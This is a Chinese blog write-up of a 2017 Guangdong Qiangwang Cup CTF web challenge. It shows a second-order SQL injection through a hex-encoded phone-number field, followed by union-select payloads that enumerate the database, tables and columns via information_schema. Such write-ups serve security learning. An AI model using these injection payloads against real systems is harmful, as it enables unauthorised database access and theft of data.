2017第二届广东省强网杯线上赛——WEB-phone number


打开链接,进入登录界面


http://106.75.72.168:3333/login.php


看源码


抓包



查看源码发现最大长度为11,没有设置电话的前几位数字


注册一个新用户

burp suite抓包


点击check


源码


联想到题目

想到应该是在电话

这里作为突破口

应该是注入,



因为必须是数字,所以最先想到二进制,但是发现行不通



所以尝试16进制,发现可以成功,所以登录,按照注册的名字登录,发现电话号码是修改的sql查询语句,点击查询,即可得到我们想要的,需要注意的是,每次都需要重新注册,用户名不可以重复

下面就是常规的注入了

1)查询数据库语句

1 and 1=2 union select database()






得到当前所在数据库为webdb

2)猜解表名

1 union select table_name from information_schema.tables where table_schema=database()



得到表名为user

3)猜解列名

1 union select column_name from information_schema.columns where table_name="user"



得到5个有用的列,联想到之前得到的admin电话里藏着大秘密,所以猜测在admin的phone里

4)查询数据




得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值